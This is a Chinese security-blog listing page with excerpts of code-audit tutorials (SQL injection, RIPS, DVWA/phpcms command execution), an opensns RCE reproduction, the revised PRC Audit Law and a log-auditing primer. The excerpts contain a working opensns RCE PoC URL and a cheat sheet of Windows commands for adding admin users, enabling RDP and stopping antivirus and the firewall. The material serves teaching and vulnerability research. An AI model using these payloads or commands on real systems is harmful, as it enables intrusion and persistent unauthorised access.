代码审计连载-SQL注入漏洞 代码审计

代码审计连载-SQL注入漏洞

在mapper文件中,发现了一个$符号Mybatis配置文件中,使用【#】符号对参数进行预编译,使用【$】是对参数进行拼接,同时我们还要知道:order by无法进行预编译跟下代码,在路由中找到了对应的请求查看了实现类在查询处直接抓包即刻进行SQL注入,太简单了,就不多说了。JAVA 漏洞靶场:https://github.com/tangxiaofeng7/SecExample 本文始发于微信公众号(白帽子飙车路):代码审计连载-SQL注入漏洞
阅读全文
PHP代码审计神器——RIPS个人汉化版 安全工具

PHP代码审计神器——RIPS个人汉化版

PH一、RIPS简介      RIPS是一款PHP开发的开源的PHP代码审计工具 由国外的安全研究者Johannes Dahse开发,目前开源的最新版本是0.55。程序小巧玲珑,仅有不到500kb,其中的PHP语法分析非常精准,可以实现跨文件变量和函数追踪,误报率较低。并有拥有简单易懂的用户界面,因此被许多安全研究人员钟爱,因此RIPS可谓是PHP代码审计之利器。       RIPS项目的官网为http://rips-scanner.sourceforge.net/和 https://www.ripstech.com/           大家如果有兴趣可以自行了解           目前RIPS的免费开源版本已停止了程序更新,但官方目前给出了下个版本的说明 简而言之就是官方想对程序的扫描精度 功能上进行了更进一步地拓展和升级但神秘的作者也并没有告知我们下个版本的推送日期 所以这次带来的是个人汉化版的RIPS—0.55版本。        汉化前的官方原版如图个人汉化后的如图所示   emmm~!看了以后是不是非常心动了?心动不如行动,快点来下载和使用吧          部分地方汉化不全,还请各位大佬们海涵~          二、RIPS安装环境           RIPS既然是基于PHP进行编写的,那么成功地运行RIPS便一定需要PHP环境的支持 在此我比较推荐使用PHPStudy这款程序来进行本地PHP环境安全           PHPstudy下载链接:http://phpstudy.php.cn/           安装后界面如图所示:下载RIPS后将其解压放入PHPstduy的根目录下即可使用(无需进行任何数据库配置)如图为RIPS安装成功后的界面三、RIPS使用方法          在程序的顶部"源码的绝对路径"文本框中输入你想要扫描的项目的绝对路径(如F://person/phpstduy/WWW/dedecms)然后根据个人的需求来选择扫描漏洞的范围,是否扫描根目录等,最后点击扫描即可。扫描后即可查看扫描报告四、RIPS审计实例         我们先以笔者2年前刚刚学PHP时写的垃圾程序开一下刀(拿老裤写的,你懂得)我们是来正经八百地介绍程序的。        扫描后结果如图可以看到存在XSS、文件读取、PHP代码执行、HTTP header注入等漏洞,我们选择XSS和文件读取漏洞来测试一下RIPS审计的准确性。①XSS漏洞处代码如下。echo echo "-><a href="{$_SERVER}?path=" . _encode ($f) . "">上级目录 </a> "; $f = _opendir (_decode ($_GET)); // elseif($_GET == null) else ,$f = _opendir ('xiaojie'); // elseif($_GET == null),$f = _opendir ('xiaojie'); // if($_GET == '..'),可以看到该程序对f这个变量未进行过滤 直接将其输出 因此很可能存在XSS漏洞结合RIPS的漏洞说明可以知道XSS漏洞的成因及POC我们来测试一下如图,我们成功地弹窗了。证明RIPS对该程序的XSS审计是很准确的。②任意文件读取处代码如下echo echo "-><a href="{$_SERVER}?path=" . _encode ($f) . "">上级目录 </a> "; $f = _opendir (_decode ($_GET)); // elseif($_GET == null)...
阅读全文
代码审计 |  opensns代码审计复现 代码审计

代码审计 | opensns代码审计复现

前言申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!本文来自N1cE师傅的投稿,在此表示由衷的感谢。作者寄语:由于本周也是在补天公众号看到了(moonv)这位师傅的代码审计文章https://mp.weixin.qq.com/s/5_HxHEFrCxOCagGOQPOCDw想着复现下无奈只有前部分的poc而已,剩下的只能自己补上了 ,可能会存在点理解误差。(师傅们轻点喷,本人新手文章,耗时一天)正文审计工具:PhpStudy(2016版本)、Phpstorm(2020.3.2版本)审计步骤:由于是thinkphp框架写的,是(应用/控制器/方法名)进行访问的,访问这控制器是 ?s=Weibo/Share/shareBox&query=往下走就是到17行②处,这里将query解码的值传到③sharabox.html页面然后query的值就赋到'param'的参数上面调用Weibo/Share/fetchShare方法。而{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}的W方法在ThinkPHP/Common/functions.php的1174行。这里可以参考补天师傅发的文。R(方法是远程调用控制器的操作方法 URL 参数格式 控制器/操作{:W(‘Weibo(模块、调用地址)/Share(方法)/fetchShare(操作)’,array(‘param’=>$parse_array))}然后我们继续往回看,也就是sharebox.html远程调用Weibo/Share/fetchShare方法这里。query的值就赋到'param'的参数上面调用Weibo/Share/fetchShare方法。而且D方法只会寻找模块(model)类比如你的参数是query=app=Common%26Model=Schedule%26method=runSchedule%26id就会搜索Common/Model/ScheduleModel的类由于前面的assginFetch方法传入D方法的时候带着‘Weibo/Share’参数所以这里只会搜索weibo模块类Weibo/Model/ShareModel而fetchShare方法里又将值传给assginFetch方法又又传给了getinfo方法。继续往下跟进上面是调用了D方法也就是模块类Weibo/Model/ShareModel这里的getinfo方法会将传过来的参数进行判断,如果app、Model、method参数都不为空的话就进入D进行实例化(实例化:个人感觉是调用方法的意思)如:query=app=应用名(如:Common、Weibo、Admin)%26Model=模块名%26method=方法名,这里moonv师傅已经给出了前部分的poc:query=app=Common%26Model=Schedule%26method=runSchedule%26id这里的调用D方法又成了执行Common/Model/ScheduleModel/runSchedule方法这里是利用了moonv师傅找出的runSchedule方法然后继续调用D方法进行实例化模块。 而且这里的参数是需要三个参数,status、method、args,这里有点小绕脑。而method是需要‘->’进行分割的,根据前部分的poc再加上现在的参数提示可以组成:query=app=Common%26model=Schedule%26method=runSchedule%26id=1%26id=Schedule->_validationFieldItem%26id=这里会将method下标的值带入D方法来实例化该模块(Model)类,然后将②带入①的模块类中。继续往下的话就到了_validationFieldItem方法,这里我也不是很清楚怎么进来的,应该的通过Schedulemodel方法进行执行_validationFieldItem吧。(PS:有懂的师傅能否讲解一下)1、要val下标4的值是function2、要val下标6的值是数组3、args会和data下标是val下标0的值4、要val下标1的值是assert师傅们可以百度参考下call_user_func_array代码执行。解释第3点:如果val=cmd ,那么data就是data这下可以构造出poc:/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id=1%26id=Schedule->_validationFieldItem%26id=function%26=%26id=cmd%26id=assert%26id=cmd=system(whoami)影响版本:目前版本版本:Uploads_Download_2020-05-14_5ebca066a3fef实现步骤:http://127.0.0.1/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id=1%26id=Schedule-%3E_validationFieldItem%26id=function%26=%26id=cmd%26id=assert%26id=cmd=system(ipconfig)如果对你有帮助的话那就长按二维码,关注我们吧!  经验分享 | 渗透笔记之Bypass WAF  什么是HTTP和HTTPS  实战 |  BYPASS安全狗-我也很“异或”右下角求赞求好看,喵~ 本文始发于微信公众号(F12sec):代码审计 | opensns代码审计复现
阅读全文
代码审计第六节-命令执行 代码审计

代码审计第六节-命令执行

一次团队里面有人问了两个问题,自己面试时,面试官问了两个问题,自己感到特别疑惑。命令执行和命令注入是什么鬼?看到群里全是大牛宝宝们,在不断的给解答这样高端问题,看的宝宝心里是佩服的五体投地。下面直接把群里的截图给列出来。所以此次文章以命令执行为主进行开展。 此次文章以PHP命令执行开始开始进行讲解。命令执行简单点讲就是执行命令,不管是web还是操作系统,可以直接执行命令,就是命令执行了。如果你还是不懂,在windows调出黑黑的dos窗口进行执行几条简单命令。直接执行命令,所以在工作中如果遇到命令执行就可以成为高危漏洞了。都可以执行你操作系统命令了,所以这个危害性比较高。现在常见的有好多比如struts系列漏洞、jboss漏洞、jenkins等漏洞,如果可以执行命令,那么你的服务器就会很危险了。php代码执行相关背景介绍当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec、eval等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。一般命令执行也是调用php相关命令,system、exec、shell_exec、eval这几个命令使用率比较高。为了让大家更好的理解此漏洞,我们以dvwa和bwapp这两个靶场平台为例子,给大家进行讲解。漏洞利用首先我们分析dvwa高中低,三个级别代码有什么不同点.代码行数不超20行,所以核心代码就是两个if语句之间的句子。你看到shell_exec这个命令,就是执行命令句子。没有进过任何修饰,直接就执行ping命令。所以造成漏洞产生,直接执行ping命令是没有问题,如果你是一名测(hei)试(ke)人员,你就不会这样想,你的任务就是最全面进行测(zhuang)试(bi)。如果你对shell_exec函数一无所知,那么请参考一下文章进行恶补。你看到这个页面应该比较熟悉,和在dos窗口下执行命令一样,返回了ping结果操作。利用方式该怎么利用呢,可以利用;或者是&&进行对命令进行分割。命令执行就是利用此漏洞进行最大限度利用,我们发现可以查看passwd文件。可以查看一些用户,利用这些用户组成相对应字典,对此服务器进行相对应暴力破解。如果是window我们可以这样利用,进行增加用户名和密码。如果你不知道net user是什么意思,请大家自行补充一下知识。不过给大家准备了一份常见dos命令表,如果你不清楚,请牢记,如果清楚,请跳过此节。【常用DOS命令】查看版本:ver查看权限:whoami查看配置:systeminfo查看用户:net user查看进程:tasklist查看正在运行的服务:tasklist /svc查看开放的所有端口:netstat -ano查询管理用户名:query user查看搭建环境:ftp 127.0.0.1查看指定服务的路径:sc qc Mysql添加一个用户:net user redBu11 redBu11  /add提升到管理权限:net localgroup administrators redBu11 /add添加用户并提升权限:net user redBu11 redBu11  /add & net localgroup administrators redBu11 /add查看制定用户信息:net user redBu11查看所有管理权限的用户:net localgroup administrators加入远程桌面用户组:net localgroup “Remote Desktop Users” redBu11 /add突破最大连接数:mstsc /admin /v:127.0.0.1删除用户:net user redBu11 /del删除管理员账户:net user administrator redBu11.asd更改系统登陆密码:net password redBu11.asd激活GUEST用户:net user guest /active:yes开启TELNET服务:net start telnet关闭麦咖啡:net stop “McAfee McShield”关闭防火墙:net stop sharedaccess查看当前目录的所有文件:dir c:windows查看制定文件的内容:type c:windows1.asp把cmd.exe复制到c:windows的temp目录下并命名为cmd.txt:copy c:windowstempcookiescmd.exe c:windowstempcmd.txt开3389端口的命令:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f查看补丁:dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.logKB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo%i Not Installed!)&del /f /q /a a.txt分析完初级代码以后,我们接着分析中级代码,中级代码比初级多了哪些函数.我们发现发了一个数组,另外多了一个str_replace这个函数,是什么意思呢,主要是指如果接收的ip中,带有&&和;的话就自动替换成空。我们把等级换成中级以后,发现页面不会有任何提示,也不会像初级那样给出一些提示。后来我们换个思路,用了一个数组里面没有的符号,进行操作。发现又可以绕过了。其实测试就是按照不同思路进行不同符号测试,只要不再白名单中,都可以进行绕过。中级分析完以后再分析高级部分,看看高级部分添加了符号,防止我们进行代码执行。高级部分进行了小数点分割,而且利用is_number函数进行强制分割,如果不是ip不会进行显示。如果高级部分还采用中级绕过方式,会提示我们无效ip。这里首先也是用stripslashes函数对获取到的IP地址进行了处理,主要是为了去掉转义后添加的斜杠,原因之前已经解释过,由于在high级别下会自动启用PHP的magic_quotes_gpc魔术引号,对所有的传值数据自动用addslashes()函数转义,所以需要用stripslashes()函数去除。接下来使用了explode函数,以“.”为分隔符将$target变量中的IP地址进行分割,分割后会得到一个数组,并赋值给变量$octet。接下来使用if语句,用is_numeric函数依次判断$octet数组中的每个值是否是数字型数据,并且还使用sizeof函数判断$octet数组中元素的个数是否是4个。这个判断条件就非常苛刻了,基本可以保证用户输入的必须是正确的IP地址,之前所使用的所有命令执行漏洞都无法生效了。但是这里的问题也同样明显,这种过滤方法只能针对命令参数是IP地址的情况才起作用,如果我们希望去执行的是其它的系统命令,这种方法就不起作用了。看bwapp命令执行还没有就这么一个,也给大家把代码贴出来了。Bwapp就不给大家讲解了。直接进行实例挖掘,这样可能更实例理解一点。本次漏洞挖掘工具Firefox+notepad++本次挖掘的cms为phpmywind,由于cms市场比较多,所以在选择性上也会选择一些以前旧版本,这样漏洞会多一些,对于讲解也会容易一些。目前最新版本为5.3,不会选择新版本测试。这个是本机上面的cms,由于在审计前,需要大家进行下载安装,本次环境依然采用wamp进行测试。每次分析前一定要对代码进行简单分析,才会更加熟悉代码,并且也要把环境搭建成功,看看界面有哪些功能,如果能黑盒进行简单渗透一下更好,如果不想黑盒,那可以直接来进行源代码。我的顺序一般是从index.php这个文件开始阅读,也会看看一些公共的配置文件,看看过滤哪些函数等。配置文件你需要看一下。从配置文件你还需要分析一下公共函数文件。通过以上方式来进行熟悉代码以外,还可以进行安装好以后,尝试单击页面,看看都关联哪些文件。分析代码就给大家介绍到这里。由于我提前已经对代码进行简单分析了,所以直接就开始写过程了。如果你挖掘过几套代码执行的cms,就会发现一个问题,就会看到一个函数string2array,这个函数是什么意思呢,就是把字符转换成数组。前段时间挖掘过一个phpcms2008也是这个函数出现问题,导致代码执行。所以我们不尝先在代码中搜索一下看看哪里有引用这个函数。通过搜索发现一共有三个文件引用了这个函数,所以我们的范围一下就缩小了很多。开始一个一个进行分析。这个是在wooyun简单截个图,也是这个函数产生的问题,不一定所有的代码执行都是这个问题,至于我找到了几个代码执行,都是这样产生的。我们在本地搭建一套phpcms2008源码,给大家进行演示命令执行。搭建完以后显示的效果。由于是版本比较老,所以在搭建是出现的几个问题。简单给大家科普一下,如果你想搭建成功这套老版本的cms,需要5.2版本以前的mysql,才可以搭建成功,如果你的mysql版本比5.2版本大,你是搭建不成功这套源码。在最后一步建立数据库时,一直会报错。所以为了避免以上错误,希望大家选取5.2以前的mysql。这是源码的大概一个文件和文件夹,里面会有一些核心文件,我也给大家分析过,从入口文件开始进行分析,查看核心函数文件,以及查看一些过滤函数或者搭建成功以后先进行黑盒进行测试,如果发现某一个地方有问题,但是黑盒就是测试不成功,可以把源码文件进行分析,最后找到漏洞。入口文件标识很清楚,进入核心配置文件,查看其代码:红框标注文件,在此文件夹比较重要,要细致分析,避免放过漏洞。经过对文件大量的分析,简单逻辑我们可以找到了。由其上文中给大家介绍过的那样,如果想找漏洞,一定要知道其中有哪些关键函数我们可以控制,另外在代码中,最容易出现的脆弱点是那个。我们看完配置文件,开始搜索一下string2array这个函数在什么地方出现过,重点来进行分析这个函数,根据上下文。我们查找了容易出现问题的函数,最终发现大概有16个文件可能有问题,还有就是admin代表的是登陆后台部分,一般我们也不进行分析,那么只分析不是admin部分的地方。这样我们就可以省很大力气来进行审计。后来进过分析,一共有几个文件这个string2array比较可疑,首先对common这个文件开始进行分析,40行以前是对模板的一个调用和修改,不用关心。从上面往下面分析的时候,发现了这个extract这个函数文件,这个函数文件让我对这个文件有了兴趣。具体这个函数是什么意思,如果你不懂,我给大家一下连接自行脑补会把当前数组的值倒入到PHP extract() 函数从数组中把变量导入到当前的符号表中。所以上面的例子中把original的值已经修改。接着我们分析一下函数模板文件,这个文件核心过滤文件,找到string2array这个函数以后,我们发现强制把字符转成数组的模式输出。过滤注入跨站的语句也在此文件中。我们发现只要data传过来,就可以执行,对data没有进行任何防护。我们需要输入一个userid不存在的值,才会利用extact这个函数。所以我们输入一个不存在的值,查看结果输出什么呢?成功输出phpinfo,证明我们猜想正确。命令执行就给大家介绍这么多。后续给大家介绍文件上传和下载以及逻辑漏洞。作者博客:sec-redclub.comQ群:242410171论坛:http://bbs.whitecell-club.org欢迎投稿以及咨询问题。版权声明:该科普文章属于WhiteCellClub团队的redBu11原创,转载须申明! 本文始发于微信公众号(WhiteCellClub):代码审计第六节-命令执行
阅读全文
某开源cms v2.0审计 代码审计

某开源cms v2.0审计

更多全球网络安全资讯尽在邑安全前言在CNVD上看到一个CMS存在多种类型的漏洞,对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例,于是从网上找到源码,本地搭建审计一波审计环境phpstudy(php 5.4.45+Apache+Mysql)phpstorm + seay代码审计工具Windows 7 64位代码审计个人习惯,安装完成后同样先看/install目录,看逻辑是否合理,有没有可能存在重装漏洞使用file_exits()检查是否存在/install.lock.php文件,存在则exit退出,不存在重装漏洞。接下来就从前台开始,先看入口文件index.phprequire_once(dirname(__FILE__) . "/core/init.php");// 预防XSS漏洞foreach ($_GET as $k => $v) { $_GET = htmlspecialchars($v);}$dbm = new db_mysql();// 预处理搜索时的值,主要是防止sql的注入if (isset($_GET)) { //搜索框为空鼠标点击显示15个热搜词 if (isset($_GET) && $_GET == 'hot') { if (trim($_GET) == '') { $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15"; $res = $dbm->query($sql); if (empty($res) && is_array($res)) { foreach ($res as $k => $v) { $res = helper :: utf8_substr($v, 0, 20); } echo json_encode($res); exit; } else { die(); } } } // 超出长度截取 if (strlen($_GET) > 20) { $_GET = helper :: utf8_substr($_GET, 0, 20); } if (trim($_GET) ==...
阅读全文
新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计 云安全

新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计

请点击上面  一键关注!内容来源:商密君,编辑:陈十九2021年10月23日,在中华人民共和国第十三届全国人民代表大会常务委员会第三十一次会议上,通过了《全国人民代表大会常务委员会关于修改<中华人民共和国审计法>的决定》,新审计法将于2022年1月1日起施行。其中,十八、将第三十二条改为第三十六条,修改为:“审计机关进行审计时,有权检查被审计单位的财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料和资产,有权检查被审计单位信息系统的安全性、可靠性、经济性,被审计单位不得拒绝。”七、将第十四条改为第十六条,修改为:“审计机关和审计人员对在执行职务中知悉的国家秘密、工作秘密、商业秘密、个人隐私和个人信息,应当予以保密,不得泄露或者向他人非法提供。”十七、增加一条,作为第三十五条:“国家政务信息系统和数据共享平台应当按照规定向审计机关开放。二十一、将第三十六条改为第四十条,将第二款修改为:“审计机关通报或者公布审计结果,应当保守国家秘密、工作秘密、商业秘密、个人隐私和个人信息,遵守法律、行政法规和国务院的有关规定。”中华人民共和国主席令第一〇〇号 《全国人民代表大会常务委员会关于修改<中华人民共和国审计法>的决定》已由中华人民共和国第十三届全国人民代表大会常务委员会第三十一次会议于2021年10月23日通过,现予公布,自2022年1月1日起施行。中华人民共和国主席 习近平2021年10月23日  全国人民代表大会常务委员会关于修改《中华人民共和国审计法》的决定(2021年10月23日第十三届全国人民代表大会常务委员会第三十一次会议通过)第十三届全国人民代表大会常务委员会第三十一次会议决定对《中华人民共和国审计法》作如下修改:一、将第二条第一款分为两款,作为第一款、第二款,修改为:“国家实行审计监督制度。坚持中国共产党对审计工作的领导,构建集中统一、全面覆盖、权威高效的审计监督体系。“国务院和县级以上地方人民政府设立审计机关。”二、将第四条修改为:“国务院和县级以上地方人民政府应当每年向本级人民代表大会常务委员会提出审计工作报告。审计工作报告应当报告审计机关对预算执行、决算草案以及其他财政收支的审计情况,重点报告对预算执行及其绩效的审计情况,按照有关法律、行政法规的规定报告对国有资源、国有资产的审计情况。必要时,人民代表大会常务委员会可以对审计工作报告作出决议。“国务院和县级以上地方人民政府应当将审计工作报告中指出的问题的整改情况和处理结果向本级人民代表大会常务委员会报告。”三、将第十一条修改为:“审计机关履行职责所必需的经费,应当列入预算予以保证。”四、增加一条,作为第十二条:“审计机关应当建设信念坚定、为民服务、业务精通、作风务实、敢于担当、清正廉洁的高素质专业化审计队伍。“审计机关应当加强对审计人员遵守法律和执行职务情况的监督,督促审计人员依法履职尽责。“审计机关和审计人员应当依法接受监督。”五、将第十二条改为第十三条,增加一款,作为第二款:“审计机关根据工作需要,可以聘请具有与审计事项相关专业知识的人员参加审计工作。”六、增加一条,作为第十四条:“审计机关和审计人员不得参加可能影响其依法独立履行审计监督职责的活动,不得干预、插手被审计单位及其相关单位的正常生产经营和管理活动。”七、将第十四条改为第十六条,修改为:“审计机关和审计人员对在执行职务中知悉的国家秘密、工作秘密、商业秘密、个人隐私和个人信息,应当予以保密,不得泄露或者向他人非法提供。”八、将第十八条第二款、第二十条、第二十一条合并,作为第二十二条,修改为:“审计机关对国有企业、国有金融机构和国有资本占控股地位或者主导地位的企业、金融机构的资产、负债、损益以及其他财务收支情况,进行审计监督。“遇有涉及国家财政金融重大利益情形,为维护国家经济安全,经国务院批准,审计署可以对前款规定以外的金融机构进行专项审计调查或者审计。”九、将第二十二条改为第二十三条,修改为:“审计机关对政府投资和以政府投资为主的建设项目的预算执行情况和决算,对其他关系国家利益和公共利益的重大公共工程项目的资金管理使用和建设运营情况,进行审计监督。”十、将第二十三条改为第二十四条,修改为:“审计机关对国有资源、国有资产,进行审计监督。“审计机关对政府部门管理的和其他单位受政府委托管理的社会保险基金、全国社会保障基金、社会捐赠资金以及其他公共资金的财务收支,进行审计监督。”十一、增加一条,作为第二十六条:“根据经批准的审计项目计划安排,审计机关可以对被审计单位贯彻落实国家重大经济社会政策措施情况进行审计监督。”十二、增加一条,作为第二十八条:“审计机关可以对被审计单位依法应当接受审计的事项进行全面审计,也可以对其中的特定事项进行专项审计。”十三、增加一条,作为第三十条:“审计机关履行审计监督职责,发现经济社会运行中存在风险隐患的,应当及时向本级人民政府报告或者向有关主管机关、单位通报。”十四、将第二十八条改为第三十一条,将第一款修改为:“审计机关根据被审计单位的财政、财务隶属关系或者国有资源、国有资产监督管理关系,确定审计管辖范围。”将第三款修改为:“上级审计机关对其审计管辖范围内的审计事项,可以授权下级审计机关进行审计,但本法第十八条至第二十条规定的审计事项不得进行授权;上级审计机关对下级审计机关审计管辖范围内的重大审计事项,可以直接进行审计,但是应当防止不必要的重复审计。”十五、将第二十九条改为第三十二条,修改为:“被审计单位应当加强对内部审计工作的领导,按照国家有关规定建立健全内部审计制度。“审计机关应当对被审计单位的内部审计工作进行业务指导和监督。”十六、将第三十一条改为第三十四条,修改为:“审计机关有权要求被审计单位按照审计机关的规定提供财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,包括电子数据和有关文档。被审计单位不得拒绝、拖延、谎报。“被审计单位负责人应当对本单位提供资料的及时性、真实性和完整性负责。“审计机关对取得的电子数据等资料进行综合分析,需要向被审计单位核实有关情况的,被审计单位应当予以配合。”十七、增加一条,作为第三十五条:“国家政务信息系统和数据共享平台应当按照规定向审计机关开放。“审计机关通过政务信息系统和数据共享平台取得的电子数据等资料能够满足需要的,不得要求被审计单位重复提供。”十八、将第三十二条改为第三十六条,修改为:“审计机关进行审计时,有权检查被审计单位的财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料和资产,有权检查被审计单位信息系统的安全性、可靠性、经济性,被审计单位不得拒绝。”十九、将第三十三条改为第三十七条,将第三款修改为:“审计机关有证据证明被审计单位违反国家规定将公款转入其他单位、个人在金融机构账户的,经县级以上人民政府审计机关主要负责人批准,有权查询有关单位、个人在金融机构与审计事项相关的存款。”二十、将第三十四条改为第三十八条,将第一款修改为:“审计机关进行审计时,被审计单位不得转移、隐匿、篡改、毁弃财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,不得转移、隐匿、故意毁损所持有的违反国家规定取得的资产。”二十一、将第三十六条改为第四十条,将第二款修改为:“审计机关通报或者公布审计结果,应当保守国家秘密、工作秘密、商业秘密、个人隐私和个人信息,遵守法律、行政法规和国务院的有关规定。”二十二、将第三十七条改为第四十一条,修改为:“审计机关履行审计监督职责,可以提请公安、财政、自然资源、生态环境、海关、税务、市场监督管理等机关予以协助。有关机关应当依法予以配合。”二十三、将第三十八条改为第四十二条,将第一款修改为:“审计机关根据经批准的审计项目计划确定的审计事项组成审计组,并应当在实施审计三日前,向被审计单位送达审计通知书;遇有特殊情况,经县级以上人民政府审计机关负责人批准,可以直接持审计通知书实施审计。”二十四、将第三十九条改为第四十三条,修改为:“审计人员通过审查财务、会计资料,查阅与审计事项有关的文件、资料,检查现金、实物、有价证券和信息系统,向有关单位和个人调查等方式进行审计,并取得证明材料。“向有关单位和个人进行调查时,审计人员应当不少于二人,并出示其工作证件和审计通知书副本。”二十五、将第四十一条改为第四十五条,修改为:“审计机关按照审计署规定的程序对审计组的审计报告进行审议,并对被审计单位对审计组的审计报告提出的意见一并研究后,出具审计机关的审计报告。对违反国家规定的财政收支、财务收支行为,依法应当给予处理、处罚的,审计机关在法定职权范围内作出审计决定;需要移送有关主管机关、单位处理、处罚的,审计机关应当依法移送。“审计机关应当将审计机关的审计报告和审计决定送达被审计单位和有关主管机关、单位,并报上一级审计机关。审计决定自送达之日起生效。”二十六、将第四十三条改为第四十七条,修改为:“被审计单位违反本法规定,拒绝、拖延提供与审计事项有关的资料的,或者提供的资料不真实、不完整的,或者拒绝、阻碍检查、调查、核实有关情况的,由审计机关责令改正,可以通报批评,给予警告;拒不改正的,依法追究法律责任。”二十七、将第四十四条改为第四十八条,修改为:“被审计单位违反本法规定,转移、隐匿、篡改、毁弃财务、会计资料以及与财政收支、财务收支有关的业务、管理等资料,或者转移、隐匿、故意毁损所持有的违反国家规定取得的资产,审计机关认为对直接负责的主管人员和其他直接责任人员依法应当给予处分的,应当向被审计单位提出处理建议,或者移送监察机关和有关主管机关、单位处理,有关机关、单位应当将处理结果书面告知审计机关;构成犯罪的,依法追究刑事责任。”二十八、增加一条,作为第五十二条:“被审计单位应当按照规定时间整改审计查出的问题,将整改情况报告审计机关,同时向本级人民政府或者有关主管机关、单位报告,并按照规定向社会公布。“各级人民政府和有关主管机关、单位应当督促被审计单位整改审计查出的问题。审计机关应当对被审计单位整改情况进行跟踪检查。“审计结果以及整改情况应当作为考核、任免、奖惩领导干部和制定政策、完善制度的重要参考;拒不整改或者整改时弄虚作假的,依法追究法律责任。”二十九、将第四十九条改为第五十四条,修改为:“被审计单位的财政收支、财务收支违反国家规定,审计机关认为对直接负责的主管人员和其他直接责任人员依法应当给予处分的,应当向被审计单位提出处理建议,或者移送监察机关和有关主管机关、单位处理,有关机关、单位应当将处理结果书面告知审计机关。”三十、将第二十五条改为第五十八条,修改为:“领导干部经济责任审计和自然资源资产离任审计,依照本法和国家有关规定执行。”三十一、将第五十三条改为第五十九条,修改为:“中国人民解放军和中国人民武装警察部队审计工作的规定,由中央军事委员会根据本法制定。“审计机关和军队审计机构应当建立健全协作配合机制,按照国家有关规定对涉及军地经济事项实施联合审计。”三十二、将第十七条中的“预算执行情况和其他财政收支情况”修改为“预算执行情况、决算草案以及其他财政收支情况”;将第三十条中的“审计机关审计监督对象”、第四十条中的“被审计对象”修改为“被审计单位”;将第三十四条第三款、第三十五条、第四十五条、第四十六条、第四十七条第二款中的“主管部门”修改为“主管机关、单位”;将第三十五条中的“有权处理的机关”修改为“有权处理的机关、单位”;将第四十五条第四项中的“会计制度”修改为“财务、会计制度”;将第四十七条第二款中的“被审计单位上缴”修改为“被审计单位缴纳”,“将结果书面通知审计机关”修改为“将处理结果书面告知审计机关”;将第五十二条中的“泄露”修改为“泄露、向他人非法提供”,“国家秘密、商业秘密”修改为“国家秘密、工作秘密、商业秘密、个人隐私和个人信息”。本决定自2022年1月1日起施行。《中华人民共和国审计法》根据本决定作相应修改并对条文顺序作相应调整,重新公布。《新审计》法逐条对比解读「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。如何加入:扫描下方二维码,扫码付费即可加入。加入知识星球的同学,请加我微信,拉您进VIP交流群!朋友都在看▶️等保2.0丨2021 必须了解的40个问题▶️等保2.0 三级 拓扑图+设备套餐+详解▶️等保2.0 二级 拓扑图+设备套餐+详解▶️等保2.0 测评  二级系统和三级系统多长时间测评一次?▶️等保2.0系列安全计算环境之数据完整性、保密性测评▶️等保医疗|全国二级、三乙、三甲医院信息系统安全防护设备汇总▶️国务院:不符合网络安全要求的政务信息系统未来将不给经费▶️等级保护、风险评估和安全测评三者的区别▶️分保、等保、关保、密码应用对比详解▶️汇总 | 2020年发布的最重要网络安全标准(下载)天億网络安全【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】↑↑↑长按图片识别二维码关註↑↑↑欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识 原文始发于微信公众号(天億网络安全):新《审计法》颁布:信息系统安全性、可靠性、经济性纳入国家审计
阅读全文
蓝队攻防|系统日志审计 安全文章

蓝队攻防|系统日志审计

通过日志,可以分析出各种网络可疑行为、违规操作、敏感信息,协助定位安全事件源头和调查取证,防范和发现计 算机网络犯罪活动。系统日志分析分为两个部分介绍:Windows日志分析和linux日志分析Windows日志分析如果windows服务器被入侵,往往需要检索和分析相应的安全日志除了安全设备,系统自带的日志就是取证的关键材料,但是此类日志数量庞大,需要高效分析windows安全日志Windows日志种类在 windows 系统的运行过程中会不断记录日志信息,可以分为以下几种日志类型:Windows事件日志介绍Windows事件日志文件实际上是以特定的数据结构的方式存储内容,其中包括有关系统,安全,应用程序的记录每个记录事件的数据结构中包含了9个元素(可以理解成数据库中的字段):日期/时间、事件类型、用户、计算机、 事件ID、来源、类别、描述、数据等信息查看日志的方法:开始  运行,输入 eventvwr.msc 打开事件查看器,查看日志事件查看器可以看到,事件查看器将日志分成了两大类,windows日志、应用程序日志和服务日志windows日志中又有应用程序、安全、setup、系统和forworded event这几种事件类型事件类型:分为4种,分别为 "应用程序日志" 、"系统日志" 、"安全日志" 和 "转发事件" ,前三个为核心日志文件应用程序日志包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于问题的解决日志默认位置: %SystemRoot%System32WinevtLogsApplication.evtx系统日志记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等系统日志中记录的时间类型由Windows NT/2000操作系统预先定义日志默认位置: %SystemRoot%System32WinevtLogsSystem.evtx安全日志包含安全性相关的事件,如用户权限变更,登录及注销,文件及文件夹访问,打印等信息日志默认位置: 